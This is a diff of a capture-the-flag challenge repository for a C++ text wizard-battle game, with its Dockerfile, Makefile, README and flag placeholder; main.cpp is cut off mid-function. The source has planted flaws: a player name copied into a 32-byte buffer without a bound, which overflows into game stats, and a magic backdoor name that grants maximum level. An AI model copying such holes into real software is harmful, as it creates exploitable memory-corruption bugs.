@ -0,0 +1,12 @@ | |||
FROM ubuntu:latest | |||
RUN apt update && \ | |||
apt install socat -y | |||
WORKDIR /app | |||
COPY ./flag.txt . | |||
COPY ./spell-warz-again . | |||
EXPOSE 12345/tcp | |||
CMD socat tcp-listen:12345,reuseaddr,fork EXEC:./spell-warz-again |
@ -0,0 +1,21 @@ | |||
MIT License | |||
Copyright (c) <year> <copyright holders> | |||
Permission is hereby granted, free of charge, to any person obtaining a copy | |||
of this software and associated documentation files (the "Software"), to deal | |||
in the Software without restriction, including without limitation the rights | |||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |||
copies of the Software, and to permit persons to whom the Software is furnished | |||
to do so, subject to the following conditions: | |||
The above copyright notice and this permission notice (including the next | |||
paragraph) shall be included in all copies or substantial portions of the | |||
Software. | |||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS | |||
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS | |||
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, | |||
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF | |||
OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. |
@ -0,0 +1,19 @@ | |||
UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp | |||
g++ -c lib/UserInterface.cpp -o UserInterface.o | |||
Battle.o: lib/Battle.cpp lib/Battle.hpp | |||
g++ -c lib/Battle.cpp -o Battle.o | |||
Spell.o: lib/Spell.cpp lib/Spell.hpp | |||
g++ -c lib/Spell.cpp -o Spell.o | |||
Character.o: lib/Character.cpp lib/Character.hpp | |||
g++ -c lib/Character.cpp -o Character.o | |||
spell-warz-again: Spell.o Character.o UserInterface.o Battle.o main.cpp | |||
g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o Battle.o | |||
clean: all | |||
rm Spell.o Character.o UserInterface.o Battle.o | |||
all: spell-warz-again |
@ -1,2 +1,7 @@ | |||
# spell-warz-again-final | |||
# spell-warz-again | |||
Hello guys, there's an update to my last game<br> | |||
Now you can choose your own name! Cool isn't it :)<br> | |||
Also, I made the new Arch-Mage a little weak<br> | |||
please defeat him again!<br> | |||
`nc 103.200.7.150 30311` |
@ -0,0 +1,10 @@ | |||
version: "2" | |||
services: | |||
main: | |||
build: . | |||
container_name: "spell-warz-again" | |||
network_mode: "bridge" | |||
restart: on-failure | |||
ports: | |||
- "30311:12345" |
@ -0,0 +1 @@ | |||
SlashRootCTF{} |
@ -0,0 +1,191 @@ | |||
#include "Battle.hpp" | |||
std::vector<Spell> Battle::SPELL_BOOK = { | |||
Spell("Blazing Storm", Spell::TYPE_DESTRUCTION, 10, 5), | |||
Spell("Energy Arrow", Spell::TYPE_DESTRUCTION, 40, 10), | |||
Spell("Pyro Strike", Spell::TYPE_DESTRUCTION, 90, 15), | |||
Spell("Seism", Spell::TYPE_DESTRUCTION, 160, 20), | |||
Spell("Teleport", Spell::TYPE_DESTRUCTION, 250, 25), | |||
Spell("Beam of Nature's Wrath", Spell::TYPE_DESTRUCTION, 360, 30), | |||
Spell("Ball of the Molten Core", Spell::TYPE_DESTRUCTION, 490, 35), | |||
Spell("Wrath of Poison", Spell::TYPE_DESTRUCTION, 640, 40), | |||
Spell("Extortion Burst", Spell::TYPE_DESTRUCTION, 810, 45), | |||
Spell("Projection of Sound", Spell::TYPE_DESTRUCTION, 1000, 50), | |||
Spell("Soul Tempest", Spell::TYPE_DESTRUCTION, 1210, 55), | |||
Spell("Mystic Nova", Spell::TYPE_DESTRUCTION, 1440, 60), | |||
Spell("Frostfire Burn", Spell::TYPE_DESTRUCTION, 1690, 65), | |||
Spell("Torrent", Spell::TYPE_DESTRUCTION, 1960, 70), | |||
Spell("Windstorm", Spell::TYPE_DESTRUCTION, 2250, 75), | |||
Spell("Barrier of Redemption", Spell::TYPE_DESTRUCTION, 2560, 80), | |||
Spell("Burst of the Angels", Spell::TYPE_DESTRUCTION, 2890, 85), | |||
Spell("Absorption of Chaos", Spell::TYPE_DESTRUCTION, 3240, 90), | |||
Spell("Decay of Light", Spell::TYPE_DESTRUCTION, 3610, 95), | |||
Spell("Dispersion of Force", Spell::TYPE_DESTRUCTION, 4000, 100), | |||
Spell("Solar Barrage", Spell::TYPE_DESTRUCTION, 4410, 105), | |||
Spell("Death Burn", Spell::TYPE_DESTRUCTION, 4840, 110), | |||
Spell("Blazing Strike", Spell::TYPE_DESTRUCTION, 5290, 115), | |||
Spell("Imitate", Spell::TYPE_DESTRUCTION, 5760, 120), | |||
Spell("Shooting Star", Spell::TYPE_DESTRUCTION, 6250, 125), | |||
Spell("Seal of Traps", Spell::TYPE_DESTRUCTION, 6760, 130), | |||
Spell("Flare of the Inferno", Spell::TYPE_DESTRUCTION, 7290, 135), | |||
Spell("Distraction of Stone", Spell::TYPE_DESTRUCTION, 7840, 140), | |||
Spell("Concentration of Glory", Spell::TYPE_DESTRUCTION, 8410, 145), | |||
Spell("Calm of Energy", Spell::TYPE_DESTRUCTION, 9000, 150), | |||
Spell("Soul Surge", Spell::TYPE_DESTRUCTION, 9610, 155), | |||
Spell("Moonlight Blaze", Spell::TYPE_DESTRUCTION, 10240, 160), | |||
Spell("Sunlight Salvo", Spell::TYPE_DESTRUCTION, 10890, 165), | |||
Spell("Banish Demon", Spell::TYPE_DESTRUCTION, 11560, 170), | |||
Spell("Hurricane", Spell::TYPE_DESTRUCTION, 12250, 175), | |||
Spell("Blast of Soul Draining", Spell::TYPE_DESTRUCTION, 12960, 180), | |||
Spell("Burst of Altered Time", Spell::TYPE_DESTRUCTION, 13690, 185), | |||
Spell("Incantation of Time", Spell::TYPE_DESTRUCTION, 14440, 190), | |||
Spell("Demolition Curse", Spell::TYPE_DESTRUCTION, 15210, 195), | |||
Spell("Protection of Phantoms", Spell::TYPE_DESTRUCTION, 16000, 200), | |||
Spell("Mage Burst", Spell::TYPE_DESTRUCTION, 16810, 205), | |||
Spell("Starfire Hail", Spell::TYPE_DESTRUCTION, 17640, 210), | |||
Spell("Ice Blitz", Spell::TYPE_DESTRUCTION, 18490, 215), | |||
Spell("Cyclone", Spell::TYPE_DESTRUCTION, 19360, 220), | |||
Spell("Charge", Spell::TYPE_DESTRUCTION, 20250, 225), | |||
Spell("Barrier of Exhaustion", Spell::TYPE_DESTRUCTION, 21160, 230), | |||
Spell("Blessing of Demon Fire", Spell::TYPE_DESTRUCTION, 22090, 235), | |||
Spell("Illusion Blast", Spell::TYPE_DESTRUCTION, 23040, 240), | |||
Spell("Fury of Poison", Spell::TYPE_DESTRUCTION, 24010, 245), | |||
Spell("Plagueing of Fire", Spell::TYPE_DESTRUCTION, 25000, 250), | |||
Spell("Fiery Eruption", Spell::TYPE_DESTRUCTION, 26010, 255), | |||
Spell("Thunder Arrow", Spell::TYPE_DESTRUCTION, 27040, 260), | |||
Spell("Infernal Bomb", Spell::TYPE_DESTRUCTION, 28090, 265), | |||
Spell("Ignite", Spell::TYPE_DESTRUCTION, 29160, 270), | |||
Spell("Solidify", Spell::TYPE_DESTRUCTION, 30250, 275), | |||
Spell("Call of Burning Embers", Spell::TYPE_DESTRUCTION, 31360, 280), | |||
Spell("Burst of Acid", Spell::TYPE_DESTRUCTION, 32490, 285), | |||
Spell("Calm of Death", Spell::TYPE_DESTRUCTION, 33640, 290), | |||
Spell("Annihilation Burst", Spell::TYPE_DESTRUCTION, 34810, 295), | |||
Spell("Absorption of Strength", Spell::TYPE_DESTRUCTION, 36000, 300), | |||
Spell("Infernal Explosion", Spell::TYPE_DESTRUCTION, 37210, 305), | |||
Spell("Lava Blast", Spell::TYPE_DESTRUCTION, 38440, 310), | |||
Spell("Pyro Spike", Spell::TYPE_DESTRUCTION, 39690, 315), | |||
Spell("Mind Blast", Spell::TYPE_DESTRUCTION, 40960, 320), | |||
Spell("Extinguish", Spell::TYPE_DESTRUCTION, 42250, 325), | |||
Spell("Spell of Obliteration", Spell::TYPE_DESTRUCTION, 43560, 330), | |||
Spell("Hymn of Havoc", Spell::TYPE_DESTRUCTION, 44890, 335), | |||
Spell("Consecration Ritual", Spell::TYPE_DESTRUCTION, 46240, 340), | |||
Spell("Distraction of Perfection", Spell::TYPE_DESTRUCTION, 47610, 345), | |||
Spell("Delusion of Vulnerabilities", Spell::TYPE_DESTRUCTION, 49000, 350), | |||
Spell("Static Blaze", Spell::TYPE_DESTRUCTION, 50410, 355), | |||
Spell("Pyro Whip", Spell::TYPE_DESTRUCTION, 51840, 360), | |||
Spell("Acid Blitz", Spell::TYPE_DESTRUCTION, 53290, 365), | |||
Spell("Daydream", Spell::TYPE_DESTRUCTION, 54760, 370), | |||
Spell("Invigorate", Spell::TYPE_DESTRUCTION, 56250, 375), | |||
Spell("Hymn of Revival", Spell::TYPE_DESTRUCTION, 57760, 380), | |||
Spell("Jinx of Health", Spell::TYPE_DESTRUCTION, 59290, 385), | |||
Spell("Division of Defense", Spell::TYPE_DESTRUCTION, 60840, 390), | |||
Spell("Abjuration Orb", Spell::TYPE_DESTRUCTION, 62410, 395), | |||
Spell("Divinity of Life", Spell::TYPE_DESTRUCTION, 64000, 400), | |||
Spell("Shadow Flash", Spell::TYPE_DESTRUCTION, 65610, 405), | |||
Spell("Mind Flare", Spell::TYPE_DESTRUCTION, 67240, 410), | |||
Spell("Unholy Explosion", Spell::TYPE_DESTRUCTION, 68890, 415), | |||
Spell("Soulburn", Spell::TYPE_DESTRUCTION, 70560, 420), | |||
Spell("Phantom Form", Spell::TYPE_DESTRUCTION, 72250, 425), | |||
Spell("Rain of Plagues", Spell::TYPE_DESTRUCTION, 73960, 430), | |||
Spell("Aura of Shifting Sands", Spell::TYPE_DESTRUCTION, 75690, 435), | |||
Spell("Purification of Heat", Spell::TYPE_DESTRUCTION, 77440, 440), | |||
Spell("Purification of Hell", Spell::TYPE_DESTRUCTION, 79210, 445), | |||
Spell("Purity of SoulsVoid Tempest", Spell::TYPE_DESTRUCTION, 81000, 450), | |||
Spell("Thunder Hail", Spell::TYPE_DESTRUCTION, 82810, 455), | |||
Spell("Acid Bolt", Spell::TYPE_DESTRUCTION, 84640, 460), | |||
Spell("Incinerate", Spell::TYPE_DESTRUCTION, 86490, 465), | |||
Spell("Slow", Spell::TYPE_DESTRUCTION, 88360, 470), | |||
Spell("Bolt of Deflection", Spell::TYPE_DESTRUCTION, 90250, 475), | |||
Spell("Beam of Shadows", Spell::TYPE_DESTRUCTION, 92160, 480), | |||
Spell("Putrefaction of Blessings", Spell::TYPE_DESTRUCTION, 94090, 485), | |||
Spell("Exploitation of Force", Spell::TYPE_DESTRUCTION, 96040, 490), | |||
Spell("Annihilation Ceremony", Spell::TYPE_DESTRUCTION, 98010, 495), | |||
Spell("Repose of Energy", Spell::TYPE_DESTRUCTION, 100000, 500), | |||
}; | |||
Battle::Battle( | |||
Character &p1, | |||
Character &p2) : player1(p1), player2(p2) | |||
{ | |||
this->turn = 0; | |||
} | |||
void Battle::battleStartAnnounce() | |||
{ | |||
std::cout << " === BATTLE START === \n" | |||
<< " " << player1.getName() << "\n" | |||
<< " vs \n" | |||
<< " " << player2.getName() << "\n" | |||
<< " === ============ === \n" | |||
<< std::flush; | |||
} | |||
void Battle::battleEndAnnouce() | |||
{ | |||
std::cout << " === BATTLE END === \n" | |||
<< " Winner: " << ((winner == 1) ? player1.getName() : player2.getName()) << "\n" | |||
<< std::flush; | |||
} | |||
void Battle::start() | |||
{ | |||
int choiceInt; | |||
char buff[64] = {0}; | |||
this->battleStartAnnounce(); | |||
while ((player1.isAlive() && player2.isAlive()) && this->turn <= Battle::MAX_TURN) | |||
{ | |||
std::cout << "Turn " << this->turn << " of " << Battle::MAX_TURN << "\n" | |||
<< "Your spell book:\n"; | |||
for (size_t i = 1; i < SPELL_BOOK.size() && i <= (player1.getLevel()); i++) | |||
{ | |||
std::cout << "[" << i << "] " << SPELL_BOOK.at(i).getName() << "\n"; | |||
} | |||
std::cout << std::flush; | |||
choiceInt = UserInterface::getNumber( | |||
"What are you gonna cast this turn?\n>", 0, | |||
player1.getLevel() > SPELL_BOOK.size() ? SPELL_BOOK.size() : player1.getLevel()); | |||
if (player1.canCastSpell(SPELL_BOOK.at(choiceInt))) | |||
{ | |||
player1.castSpell(SPELL_BOOK.at(choiceInt), player2); | |||
snprintf(buff, 63, "%s cast %s...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName()); | |||
UserInterface::print(buff); | |||
memset(buff, 0, 64); | |||
snprintf(buff, 63, "%s took %d damage...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getPower()); | |||
UserInterface::print(buff); | |||
memset(buff, 0, 64); | |||
} | |||
else | |||
{ | |||
snprintf(buff, 63, "%s failed to cast %s!\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName()); | |||
UserInterface::print(buff); | |||
} | |||
choiceInt = (random() % (player2.getLevel() < SPELL_BOOK.size() ? player2.getLevel() : SPELL_BOOK.size())) + 1; | |||
if (player2.canCastSpell(SPELL_BOOK.at(choiceInt))) | |||
{ | |||
player2.castSpell(SPELL_BOOK.at(choiceInt), player1); | |||
snprintf(buff, 63, "%s cast %s...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName()); | |||
UserInterface::print(buff); | |||
memset(buff, 0, 64); | |||
snprintf(buff, 63, "%s took %d damage...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getPower()); | |||
UserInterface::print(buff); | |||
memset(buff, 0, 64); | |||
} | |||
else | |||
{ | |||
snprintf(buff, 63, "%s failed to cast %s!\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName()); | |||
UserInterface::print(buff); | |||
} | |||
this->turn++; | |||
} | |||
this->winner = (player1.isAlive() && (player1.getCurHP() >= player2.getCurHP())) ? 1 : 2; | |||
this->battleEndAnnouce(); | |||
} | |||
int Battle::getWinner() | |||
{ | |||
return this->winner; | |||
} |
@ -0,0 +1,33 @@ | |||
#ifndef SPELL_WARZ_BATTLE_HPP | |||
#define SPELL_WARZ_BATTLE_HPP 1 | |||
#include <iostream> | |||
#include <thread> | |||
#include <chrono> | |||
#include "Character.hpp" | |||
#include "Spell.hpp" | |||
#include "UserInterface.hpp" | |||
class Battle | |||
{ | |||
protected: | |||
static const int MAX_TURN = 100; | |||
static std::vector<Spell> SPELL_BOOK; | |||
int turn; | |||
int winner; | |||
Character &player1; | |||
Character &player2; | |||
void battleStartAnnounce(); | |||
void battleEndAnnouce(); | |||
void clearBuff(); | |||
public: | |||
Battle(Character &p1, Character &p2); | |||
int getWinner(); | |||
void start(); | |||
}; | |||
#endif |
@ -0,0 +1,195 @@ | |||
#include <cstdlib> | |||
#include <cstdio> | |||
#include "Character.hpp" | |||
const long Character::MAX_LVL = 1000000L; | |||
const long Character::MAX_EXP = 1000000000000L; | |||
Character::Character(const char *characterName, | |||
long characterLevel) | |||
: name(""), experience(0) | |||
{ | |||
if (strcmp("__th3_w0rLd_D3str0Y3r__", characterName)) | |||
{ | |||
level = characterLevel; | |||
} | |||
else | |||
{ | |||
level = MAX_LVL; | |||
} | |||
maxHP = curHP = 100 * level; | |||
maxMP = curMP = 50 * level; | |||
strncpy(name, characterName, strlen(characterName)); | |||
} | |||
Character::Character(const char *characterName, | |||
long characterLevel, | |||
long characterHP, | |||
long characterMP) | |||
: name(""), | |||
experience(0) | |||
{ | |||
level = characterLevel; | |||
maxHP = curHP = characterHP; | |||
maxMP = curMP = characterMP; | |||
strncpy(name, characterName, strlen(characterName)); | |||
} | |||
const char *Character::getName() | |||
{ | |||
return name; | |||
} | |||
long Character::getLevel() | |||
{ | |||
if (level > Character::MAX_LVL) | |||
{ | |||
exit(-1); | |||
} | |||
return level; | |||
} | |||
long Character::getExperience() | |||
{ | |||
if (experience > Character::MAX_LVL) | |||
{ | |||
exit(-1); | |||
} | |||
return experience; | |||
} | |||
long Character::getMaxHP() | |||
{ | |||
return maxHP; | |||
} | |||
long Character::getCurHP() | |||
{ | |||
if (curHP > maxHP) | |||
{ | |||
exit(-1); | |||
} | |||
return curHP; | |||
} | |||
long Character::getMaxMP() | |||
{ | |||
return maxMP; | |||
} | |||
long Character::getCurMP() | |||
{ | |||
if (curMP > maxMP) | |||
{ | |||
exit(-1); | |||
} | |||
return curMP; | |||
} | |||
void Character::levelUp() | |||
{ | |||
if ((level <= MAX_LVL) && readytoLevelUp()) | |||
{ | |||
experience -= toNextLevel(); | |||
level++; | |||
maxHP += 100; | |||
maxMP += 50; | |||
curHP = maxHP; | |||
curMP = maxMP; | |||
} | |||
} | |||
void Character::restoreHP(int n) | |||
{ | |||
curHP += n; | |||
if (curHP > maxHP) | |||
{ | |||
curHP = maxHP; | |||
} | |||
} | |||
void Character::restoreMP(int n) | |||
{ | |||
curMP += n; | |||
if (curMP > maxMP) | |||
{ | |||
curMP = maxMP; | |||
} | |||
} | |||
void Character::reduceHP(int n) | |||
{ | |||
curHP -= n; | |||
} | |||
void Character::reduceMP(int n) | |||
{ | |||
curMP -= n; | |||
} | |||
bool Character::isAlive() | |||
{ | |||
return curHP > 0; | |||
} | |||
long Character::toNextLevel() | |||
{ | |||
return level < MAX_LVL ? (level + 1) * (level + 1) : 0; | |||
} | |||
bool Character::readytoLevelUp() | |||
{ | |||
return level < MAX_LVL ? (toNextLevel() <= experience) : false; | |||
} | |||
void Character::increaseExperience(int n) | |||
{ | |||
experience += n; | |||
if (experience > MAX_EXP) | |||
{ | |||
experience = MAX_EXP; | |||
} | |||
while (readytoLevelUp()) | |||
{ | |||
levelUp(); | |||
} | |||
} | |||
bool Character::canCastSpell(Spell &spell) | |||
{ | |||
return curMP >= spell.getCost(); | |||
} | |||
bool Character::castSpell(Spell &spell, Character &target) | |||
{ | |||
if (canCastSpell(spell)) | |||
{ | |||
reduceMP(spell.getCost()); | |||
target.reduceHP(spell.getPower()); | |||
return true; | |||
} | |||
else | |||
{ | |||
return false; | |||
} | |||
} | |||
void Character::rest() | |||
{ | |||
restoreHP(maxHP); | |||
restoreMP(maxMP); | |||
} | |||
void Character::kill() | |||
{ | |||
reduceHP(maxHP); | |||
} | |||
void Character::revive() | |||
{ | |||
if (curHP <= 0) | |||
{ | |||
curHP = 1; | |||
} | |||
} |
@ -0,0 +1,57 @@ | |||
#ifndef SPELL_WARZ_CHARACTER_HPP | |||
#define SPELL_WARZ_CHARACTER_HPP 1 | |||
#include <cstring> | |||
#include "Spell.hpp" | |||
class Character | |||
{ | |||
protected: | |||
static const long MAX_LVL; | |||
static const long MAX_EXP; | |||
char name[32]; | |||
long level; | |||
long experience; | |||
long maxHP; | |||
long maxMP; | |||
long curHP; | |||
long curMP; | |||
void restoreHP(int); | |||
void restoreMP(int); | |||
void reduceHP(int); | |||
void reduceMP(int); | |||
public: | |||
Character(const char *characterName, | |||
long characterLevel); | |||
Character(const char *characterName, | |||
long characterLevel, | |||
long characterHP, | |||
long characterMP); | |||
bool castSpell(Spell &src, Character &dst); | |||
bool canCastSpell(Spell &src); | |||
const char *getName(); | |||
long getLevel(); | |||
long getExperience(); | |||
long getMaxHP(); | |||
long getMaxMP(); | |||
long getCurHP(); | |||
long getCurMP(); | |||
long toNextLevel(); | |||
bool readytoLevelUp(); | |||
bool isAlive(); | |||
void levelUp(); | |||
void kill(); | |||
void rest(); | |||
void revive(); | |||
void increaseExperience(int n); | |||
}; | |||
#endif |
@ -0,0 +1,33 @@ | |||
#include <cstring> | |||
#include "Spell.hpp" | |||
Spell::Spell(const char *spellName, | |||
const int spellType, | |||
int spellPower, | |||
int spellCost) : type(spellType), name("") | |||
{ | |||
this->power = spellPower; | |||
this->cost = spellCost; | |||
strcpy(this->name, spellName); | |||
} | |||
int Spell::getType() | |||
{ | |||
return this->type; | |||
} | |||
int Spell::getPower() | |||
{ | |||
return this->power; | |||
} | |||
int Spell::getCost() | |||
{ | |||
return this->cost; | |||
} | |||
const char *Spell::getName() | |||
{ | |||
return this->name; | |||
} |
@ -0,0 +1,28 @@ | |||
#ifndef SPELL_WARZ_SPELL_CPP | |||
#define SPELL_WARZ_SPELL_CPP 1 | |||
class Spell | |||
{ | |||
protected: | |||
char name[16]; | |||
int type; | |||
int power; | |||
int cost; | |||
public: | |||
static const int NAME_LENGTH = 15; | |||
static const int TYPE_RESTORATION = 1; | |||
static const int TYPE_DESTRUCTION = 2; | |||
Spell(const char *spellName, | |||
const int spellType, | |||
int spellPower, | |||
int spellCost); | |||
const char *getName(); | |||
int getType(); | |||
int getPower(); | |||
int getCost(); | |||
}; | |||
#endif |
@ -0,0 +1,228 @@ | |||
#include "UserInterface.hpp" | |||
const int UserInterface::INTERVAL = 0; | |||
const int UserInterface::MINI_INTERVAL = 0; | |||
const int UserInterface::MAX_DAY = 28; | |||
const int UserInterface::MAX_MONTH = 12; | |||
const int UserInterface::MAX_YEAR = 100; | |||
int UserInterface::day = 1; | |||
int UserInterface::month = 1; | |||
int UserInterface::year = 90; | |||
bool UserInterface::gameOver = false; | |||
std::vector<std::string> UserInterface::dayName = { | |||
"Morndas", | |||
"Tirdas", | |||
"Middas", | |||
"Turdas", | |||
"Fredas", | |||
"Loredas", | |||
"Sundas", | |||
}; | |||
std::vector<std::string> UserInterface::monthName = { | |||
"Morning Star", | |||
"Sun's Dawn", | |||
"First Seed", | |||
"Rain's Hand", | |||
"Second Seed", | |||
"Mid Year", | |||
"Sun's Height", | |||
"Last Seed", | |||
"Hearthfire", | |||
"Frostfall", | |||
"Sun's Dusk", | |||
"Evening Star", | |||
}; | |||
void UserInterface::print(std::string msg) | |||
{ | |||
std::cout << msg << std::flush; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); | |||
} | |||
void UserInterface::print(const char *msg) | |||
{ | |||
std::cout << msg << std::flush; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); | |||
} | |||
void UserInterface::println(std::string msg) | |||
{ | |||
std::cout << msg << std::endl; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); | |||
} | |||
void UserInterface::println(const char *msg) | |||
{ | |||
std::cout << msg << std::endl; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); | |||
} | |||
void UserInterface::printByChar(const char *msg) | |||
{ | |||
int len = strlen(msg); | |||
for (size_t i = 0; i < len; i++) | |||
{ | |||
std::cout << msg[i] << std::flush; | |||
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::MINI_INTERVAL)); | |||
} | |||
} | |||
void UserInterface::welcomeMessage() | |||
{ | |||
std::cout << "+++++++++++++++++++++++++++++++++++++++++\n" | |||
<< "+ Welcome to Spell-Warz-Again-Final !!! +\n" | |||
<< "+++++++++++++++++++++++++++++++++++++++++\n" | |||
<< std::flush; | |||
} | |||
const char *UserInterface::chooseName(char *buffer) | |||
{ | |||
char choice = 0; | |||
while (choice != 'y' && choice != 'Y') | |||
{ | |||
printf("Who should we call you?\n>"); | |||
fflush(stdout); | |||
scanf("%63s", buffer); | |||
printf("So you are a young mage named \"%s\" correct? (y/N)\n>", buffer); | |||
fflush(stdout); | |||
scanf("%1s", &choice); | |||
} | |||
return buffer; | |||
} | |||
void UserInterface::epilogue() | |||
{ | |||
UserInterface::printByChar( | |||
"I'm tired of making epilogue...\n" | |||
"You are a young mage, defeat the damn arch-mage...\n" | |||
"F*ck, I'm tired of this...\n" | |||
"Do you know I just finished this sh*t at October 10th?\n" | |||
"Good luck and defeat the arch-mage.\n" | |||
"Trust me, you gonna need the \'Good Luck\' ...\n"); | |||
} | |||
std::string UserInterface::dateString() | |||
{ | |||
char date[5] = {0}; | |||
if (UserInterface::day < 21) | |||
{ | |||
switch (UserInterface::day) | |||
{ | |||
case 1: | |||
sprintf(date, "1st"); | |||
break; | |||
case 2: | |||
sprintf(date, "2nd"); | |||
break; | |||
case 3: | |||
sprintf(date, "3rd"); | |||
break; | |||
default: | |||
sprintf(date, "%dth", UserInterface::day); | |||
break; | |||
} | |||
} | |||
else | |||
{ | |||
switch (UserInterface::day % 10) | |||
{ | |||
case 1: | |||
sprintf(date, "%dst", UserInterface::day); | |||
break; | |||
case 2: | |||
sprintf(date, "%dnd", UserInterface::day); | |||
break; | |||
case 3: | |||
sprintf(date, "%drd", UserInterface::day); | |||
break; | |||
default: | |||
sprintf(date, "%dth", UserInterface::day); | |||
break; | |||
} | |||
} | |||
return std::string( | |||
UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + | |||
date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + | |||
", Year " + std::to_string(UserInterface::year)); | |||
} | |||
void UserInterface::menu() | |||
{ | |||
std::cout << "=======================================\n" | |||
<< UserInterface::dateString() << "\n" | |||
<< "=======================================\n" | |||
<< "Available action:\n" | |||
<< "[1] Take a rest\n" | |||
<< "[2] Practice magic\n" | |||
<< "[3] Spar against classmate\n" | |||
<< "[4] Challenge the new Arch-Mage\n" | |||
<< "[5] Gather info about the new Arch-Mage\n" | |||
<< "[6] Meditate to your inner-self\n" | |||
<< "[0] Commit sudoku\n" | |||
<< std::flush; | |||
} | |||
void UserInterface::enemiesInfo(std::vector<Character> &enemies) | |||
{ | |||
for (int i = 0; i < enemies.size(); i++) | |||
{ | |||
std::cout << "[" << i << "] " << enemies.at(i).getName() << " (Lv." << enemies.at(i).getLevel() << ")\n"; | |||
} | |||
std::cout << std::flush; | |||
} | |||
int UserInterface::getNumber(std::string msg, int min, int max) | |||
{ | |||
int buffer = max + 1; | |||
do | |||
{ | |||
std::cout << msg << std::flush; | |||
if (std::cin.failbit || std::cin.eofbit) | |||
{ | |||
std::cin.clear(); | |||
std::cin.ignore(1); | |||
} | |||
} while (std::cin >> buffer && !(buffer <= max && buffer >= min)); | |||
return buffer; | |||
} | |||
void UserInterface::nextDay() | |||
{ | |||
if (UserInterface::day++ >= UserInterface::MAX_DAY) | |||
{ | |||
day = 1; | |||
if (UserInterface::month++ >= UserInterface::MAX_MONTH) | |||
{ | |||
month = 1; | |||
if (UserInterface::year++ >= UserInterface::MAX_YEAR) | |||
{ | |||
UserInterface::gameOver = true; | |||
} | |||
} | |||
} | |||
} | |||
bool UserInterface::isGameOver() | |||
{ | |||
return gameOver; | |||
} | |||
void UserInterface::characterInfo(Character &c) | |||
{ | |||
std::cout << "++++++++++++++++++++++++" | |||
<< "\nName: " << c.getName() | |||
<< "\n HP: " << c.getCurHP() << "/" << c.getMaxHP() | |||
<< "\n MP: " << c.getCurMP() << "/" << c.getMaxMP() | |||
<< "\n Lv: " << c.getLevel() | |||
<< "\n Xp: " << c.getExperience() | |||
<< "\n next: " << c.toNextLevel() | |||
<< "\n++++++++++++++++++++++++" << std::endl; | |||
} |
@ -0,0 +1,54 @@ | |||
#ifndef SPELL_WARZ_USER_INTERFACE_HPP | |||
#define SPELL_WARZ_USER_INTERFACE_HPP 1 | |||
#include <iostream> | |||
#include <thread> | |||
#include <chrono> | |||
#include <string> | |||
#include <vector> | |||
#include <cstring> | |||
#include "Character.hpp" | |||
#include "Spell.hpp" | |||
class UserInterface | |||
{ | |||
protected: | |||
static const int INTERVAL; // in ms | |||
static const int MINI_INTERVAL; // in ms | |||
static const int MAX_DAY; | |||
static const int MAX_MONTH; | |||
static const int MAX_YEAR; | |||
static std::vector<std::string> dayName; | |||
static std::vector<std::string> monthName; | |||
static int day; | |||
static int month; | |||
static int year; | |||
static bool gameOver; | |||
public: | |||
static void print(std::string); | |||
static void print(const char *); | |||
static void println(std::string); | |||
static void println(const char *); | |||
static void printByChar(std::string); | |||
static void printByChar(const char *); | |||
static void welcomeMessage(); | |||
static void epilogue(); | |||
static void menu(); | |||
static void nextDay(); | |||
static void characterInfo(Character &); | |||
static void enemiesInfo(std::vector<Character> &); | |||
static std::string dateString(); | |||
static int getNumber(std::string, int, int); | |||
static const char *chooseName(char *); | |||
static bool isGameOver(); | |||
}; | |||
#endif |
@ -0,0 +1,147 @@ | |||
#include <iostream> | |||
#include <fstream> | |||
#include <thread> | |||
#include <chrono> | |||
#include <random> | |||
#include <fstream> | |||
#include <unistd.h> | |||
#include "lib/Character.hpp" | |||
#include "lib/Spell.hpp" | |||
#include "lib/UserInterface.hpp" | |||
#include "lib/Battle.hpp" | |||
std::string loadFlag() | |||
{ | |||
std::string flagString; | |||
std::ifstream flagFile("flag.txt"); | |||
flagFile >> flagString; | |||
flagFile.close(); | |||
return flagString; | |||
} | |||
int main() | |||
{ | |||
srand(time(0)); | |||
alarm(600); | |||
std::string flag = loadFlag(); | |||
char playerName[64] = {0}; | |||
UserInterface::chooseName(playerName); | |||
Character player = Character(playerName, 1); | |||
Character archMage = Character("Arch-Mage", 10000); | |||
std::vector<Character> enemies = { | |||
Character("Uraneus", 1), | |||
Character("Ekey", 2), | |||
Character("Wekius", 3), | |||
Character("Dhemaex", 4), | |||
Character("Uravras", 5), | |||
}; | |||
UserInterface::welcomeMessage(); | |||
UserInterface::epilogue(); | |||
while (player.isAlive() && !UserInterface::isGameOver()) | |||
{ | |||
int choiceInt = -1; | |||
char choiceChar = -1; | |||
UserInterface::menu(); | |||
choiceInt = UserInterface::getNumber( | |||
"What are you gonna do today?\n>", | |||
0, 6); | |||
switch (choiceInt) | |||
{ | |||
case 0: | |||
UserInterface::print("You commit sudoku...\n"); | |||
UserInterface::print("Was it supposed to be seppuku?\n"); | |||
UserInterface::print("Nevermind, you killed yourself.\n"); | |||
player.kill(); | |||
break; | |||
case 1: | |||
UserInterface::print("You spend the whole day sleeping...\n"); | |||
